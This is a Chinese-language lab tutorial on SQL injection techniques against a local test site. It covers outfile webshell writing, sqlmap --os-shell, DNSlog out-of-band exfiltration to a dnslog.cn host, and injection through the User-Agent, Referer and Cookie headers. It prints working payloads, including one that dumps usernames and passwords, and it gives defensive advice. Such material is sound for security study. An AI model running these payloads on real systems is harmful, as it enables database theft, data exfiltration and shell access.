此次实验因为环境问题很多无法复现,在此只讨论过程和方法
一、SQL注入之outfile注入
mysql的outfile的作用是导出文件,使用此方法的必要条件:(此方法成功率极低)
1、知道目标网站的物理路径;
2、%secure_file_priv这个参数必输是空,注意不是NULL,默认的NULL是正常的;
当 secure_file_priv 为空,就可以读取磁盘的目录
当 secure_file_priv 为 G:\,就可以读取G盘的文件
当 secure_file_priv 为 null,load_file 就不能加载文件
3、要设置Value参数为空,必须是网站的root权限,但是有了root权限就没必要进行传马了。
先查看环境中的参数是否正确:
show variables like "%secure_file_priv";
可以用此漏洞上传一句话木马,web.php就是木马上传的文件
?id=1')) union select 1,2,'<?php echo "Hello, World!"; ?>' into outfile 'D:\phpstudy_pro\WWW\sqli\web.php'--+
二、利用sqlmap的--os-cmd或--os-shell
条件:
1、知道目标网站的物理路径;
2、在此网站有文件上传的权限。
直接执行命令:
sqlmap -u "http://192.168.0.105/sqli/Less-8/?id=1" --os-shell
三、DNSlog外带注入
使用条件苛刻!
1、需要有目标网站root权限;
3、数据库有读写权限即:secure_file_priv=“” ;
4、得有请求url权限 ;
5、目标网站还必须得是windows服务器。
好处就是如果遇到盲注,会很节省时间。
?id=1' and load_file(concat('\\\\', hex(user()),'.fn7vri.dnslog.cn/abc'))--+
hex():用来将获取的user变成十六进制,要不然只使用user可能会失败。
fn7vri.dnslog.cn:是从DNSlog网站上的网址
四、User-Agent注入
User-Agent是一个HTTP请求头部字段,用于标识发出请求的客户端应用程序或设备。
User-Agent:1'or updatexml(1,concat('~',(select database())),3),2,3)#
对ua进行注入就可以得到数据库里的数据
如何防止这个漏洞?
-
手动测试:手动构造特定的恶意User-Agent字符串,并将其插入到HTTP请求的User-Agent头部。然后观察目标服务器的响应是否表现出异常行为,如返回错误信息、崩溃或产生其他异常。这种方法需要具备一定的安全测试经验和知识。
-
自动化工具:使用专门的漏洞扫描工具,如OWASP Zap、Burp Suite等,进行自动化测试。这些工具通常包含检测User-Agent注入漏洞的模块,能够自动发送恶意的User-Agent字符串并分析目标服务器的响应。
-
安全审计:进行代码审计和安全审计,检查应用程序中对于User-Agent头部的处理方式是否存在漏洞。审查相关的代码逻辑和输入验证过程,寻找任何不安全的实现或缺陷。
五、Referer注入
Referer是一个HTTP请求头部字段,用于指示请求的来源页面的URL。
Referer: ' or extractvalue(1,concat('~',(select database()))),2)#
如何防止这个漏洞?
-
输入验证和过滤:对接收到的Referer头部进行严格的输入验证和过滤。可以使用白名单机制来限制只接受来自可信源的Referer值,并拒绝所有其他来源的请求。
-
URL编码:在处理Referer时,进行URL编码以确保其中的特殊字符不会被解析为恶意代码或其他攻击载荷。
-
参数化查询:如果需要将Referer用于数据库查询或其他敏感操作,务必使用参数化查询或预编译语句,而不是将Referer直接拼接到查询语句中。这可以有效防止SQL注入攻击。
-
安全框架和库:使用可靠的Web应用程序防火墙(WAF)或安全框架,如ASP.NET的RequestValidation、Java的OWASP ESAPI等,这些框架和库可以自动检测和阻止一些常见的攻击,包括Referer注入。
-
HTTPS使用:使用HTTPS协议加密通信可以确保Referer头部在传输过程中不被窃听或篡改,提高数据的安全性。
-
安全审计和测试:定期进行安全审计和渗透测试,检查应用程序是否存在Referer注入漏洞以及其他安全问题。可以使用专业的安全工具进行自动化扫描,也可以进行手动测试。
六、Cookie注入
Cookie: uname=' union select 1,2,(select group_concat(username,password) from users)#
如何防止这个漏洞?
-
输入验证和过滤:在设置Cookie时,对用户提供的值进行严格的输入验证和过滤,确保其中不包含恶意内容。
-
安全的Cookie设置:使用安全标志(Secure)和仅限HTTP标志(HttpOnly)来设置Cookie。Secure标志要求Cookie只能通过HTTPS协议传输,避免在不安全的网络中被窃听。HttpOnly标志可以防止JavaScript等客户端脚本访问Cookie,减少受到XSS攻击的风险。
-
加密和签名:对于包含敏感信息的Cookie,可以考虑使用加密和签名来保护其完整性和机密性,防止被篡改或窃取。
-
安全会话管理:实施安全的会话管理机制,包括随机生成会话令牌、合理设置会话超时时间、及时注销会话等。
-
安全审计和测试:定期进行安全审计和渗透测试,检查应用程序是否存在Cookie注入漏洞以及其他安全问题。可以使用专业的安全工具进行自动化扫描,也可以进行手动测试。